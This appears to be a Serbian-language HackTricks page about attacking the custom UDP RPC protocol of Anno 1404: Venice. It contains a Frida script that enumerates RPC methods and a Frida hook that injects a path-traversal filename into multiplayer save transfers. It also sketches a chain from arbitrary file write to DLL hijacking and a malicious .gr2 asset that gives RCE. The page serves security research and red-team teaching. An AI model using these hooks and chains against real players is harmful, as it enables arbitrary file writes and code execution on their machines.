Custom UDP RPC Enumeration & File-Transfer Abuse

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Mapiranje vlasničkih RPC objekata pomoću Frida

Stariji multiplayer naslovi često ugrađuju home-grown RPC stacks preko UDP-a. U Anno 1404: Venice ovo je implementirano unutar NetComEngine3.dll preko RMC_CallMessage dispatcher-a, koji parsira 5 polja iz svakog datagrama:

PoljeSvrha
IDRPC verb (16-bit)
FlagsModifikatori transporta (reliability, ordering)
SourceID objekta pozivaoca
TargetObjectInstanca udaljenog objekta
MethodIndeks metode unutar ciljne klase

Dve pomoćne funkcije – ClassToMethodName() i TargetName() – prevode sirove ID-e u čitljive nizove za logovanje. By brute-forcing 24‑bit object IDs and 16‑bit method IDs and calling those helpers we can enumerate the entire remotely reachable surface without traffic captures or symbol leaks.

Frida surface enumerator (trimmed) ```javascript 'use strict';

const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);

function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }

for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }

</details>

Pokretanje `frida -l explore-surface.js Addon.exe` ispisalo je kompletnu RPC mapu, uključujući objekat `Player` (`0x7400000`) i njegove file-transfer verbe `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData` i `OnCancelSendFile`. Isti radni tok važi za bilo koji binarni protokol koji izlaže interne reflection helpere: presretnite dispatcher, brute-force ID-jeve i zabeležite šta engine već zna o svakoj pozivnoj metodi.

### Saveti

- Koristite engine-ove sopstvene logging buffere (`WString::Format` u ovom slučaju) da izbegnete reimplementaciju nedokumentovanih kodiranja stringova.
- Dump `Flags` da identifikujete karakteristike pouzdanosti (ACK, resend requests) pre nego što pokušate fuzzing; custom UDP stackovi često tiho odbacuju malformirane pakete.
- Sačuvajte enumerisanu mapu – služi kao fuzzing corpus i jasno pokazuje koji objekti manipulišu fajl sistemom, world state-om ili in-game scriptingom.

## Zloupotreba RPC-ova za prenos fajlova

Sinhronizacija multiplayer sačuvanih stanja koristila je dvopaketni handshake:

1. `OnSendFileInit` — prenosi UTF‑16 naziv fajla koji klijent treba da koristi prilikom čuvanja pristiglog payload-a.
2. `OnSendFileData` — šalje sirove sadržaje fajla u chunk-ovima fiksne veličine.

Pošto server serializuje naziv fajla kroz `ByteStreamWriteString()` neposredno pre slanja, Frida hook može da zameni pokazivač ka traversal payload-u dok se veličine paketa održavaju nepromenjene.

<details>
<summary>Zamena imena fajla</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});

Korisnički klijenti žrtve nisu izvršili nikakvu sanitizaciju i upisali su primljeni save na bilo koju putanju koju je zlonamerni host dostavio, npr. ubacivanje u C:\User\user umesto u predviđeno drvo ...\Savegames\MPShare. Na Windows instalacijama Anno 1404 direktorijum igre je world-writable, pa traversal odmah postaje primitiv za arbitrarno pisanje fajla:

  • Ubacite DLL-ove za classic search-order hijacking pri narednom pokretanju, ili
  • Prepišite asset archives (RDA files) tako da weaponized modeli, teksture ili skripte budu učitani uživo tokom iste sesije.

Odbrana / napad na druge ciljeve

  • Potražite RPC funkcije nazvane SendFile, Upload, ShareSave itd., zatim presretnite helper za serializaciju koji je odgovoran za imena fajlova ili ciljane direktorijume.
  • Čak i ako su imena fajlova proveravana po dužini, mnogi stack-ovi zaborave da kanonizuju ..\ ili mešane / vs \ sekvence; brute-force-ujte sve separatore.
  • Kada prijemnik skladišti fajlove u okviru putanje instalacije igre, proverite ACL-ove preko icacls da potvrdite da li neprivilegovani korisnik može tamo ubaciti kod.

Pretvaranje path traversal u izvršavanje asset-a uživo

Kada možete otpremiti proizvoljne bajtove, zamenite bilo koji često učitavan asset:

  1. Unpack the archive. RDA archives su DEFLATE-based kontejneri čija je metadata opcionalno XOR-obfuskovana sa srand(0xA2C2A) seeded stream-ovima. Alati kao što je RDAExplorer ponovo pakuju arhive nakon izmena.
  2. Inject a malicious .gr2. Trojanizovani Granny 3D fajl nosi relocation exploit koji prepisuje SectionContentArray i, kroz dvostepenu relocation sekvencu, dobija arbitrarno 4-bajtno pisanje unutar granny2.dll.
  3. Hijack allocator callbacks. Sa ASLR onemogućenim i DEP isključenim, zamena pokazivača na funkcije malloc/free u granny2.dll preusmerava sledeću alokaciju na vaš shellcode, dajući trenutni RCE bez čekanja da žrtva restartuje igru.

Ovaj obrazac se generalizuje na bilo koji naslov koji strimuje strukturirane asset-e iz binarnih arhiva: kombinujte RPC-level traversal za dostavljanje i nesigurnu obradu relocation-a radi izvršenja koda.

Referencije

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks